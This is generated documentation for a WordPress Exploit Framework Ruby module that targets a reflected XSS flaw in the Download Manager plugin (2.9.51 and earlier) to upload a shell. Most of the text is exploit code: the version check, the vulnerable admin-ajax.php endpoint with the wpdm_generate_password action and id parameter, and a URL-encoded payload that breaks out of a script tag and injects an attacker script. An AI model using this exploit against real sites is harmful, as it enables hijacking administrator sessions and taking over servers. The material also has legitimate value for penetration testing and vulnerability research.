class Wpxf::Exploit::DownloadManagerReflectedXssShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb, line 7
def initialize
  super

  update_info(
    name: 'Download Manager <= 2.9.51 Reflected XSS Shell Upload',
    author: [
      'Tom Adams', # Discovery
      'rastating'  # WPXF module
    ],
    references: [
      ['WPVDB', '8850'],
      ['URL', 'https://security.dxw.com/advisories/xss-download-manager/']
    ],
    date: 'Jun 16 2017'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb, line 24
def check
  check_plugin_version_from_changelog('download-manager', 'readme.txt', '2.9.52')
end
url_with_xss() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb, line 36
def url_with_xss
  "#{vulnerable_url}?action=wpdm_generate_password&id=#{xss_payload}"
end
vulnerable_url() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb, line 28
def vulnerable_url
  normalize_uri(wordpress_url_admin, 'admin-ajax.php')
end
xss_payload() click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/download_manager_reflected_xss_shell_upload.rb, line 32
def xss_payload
  url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
end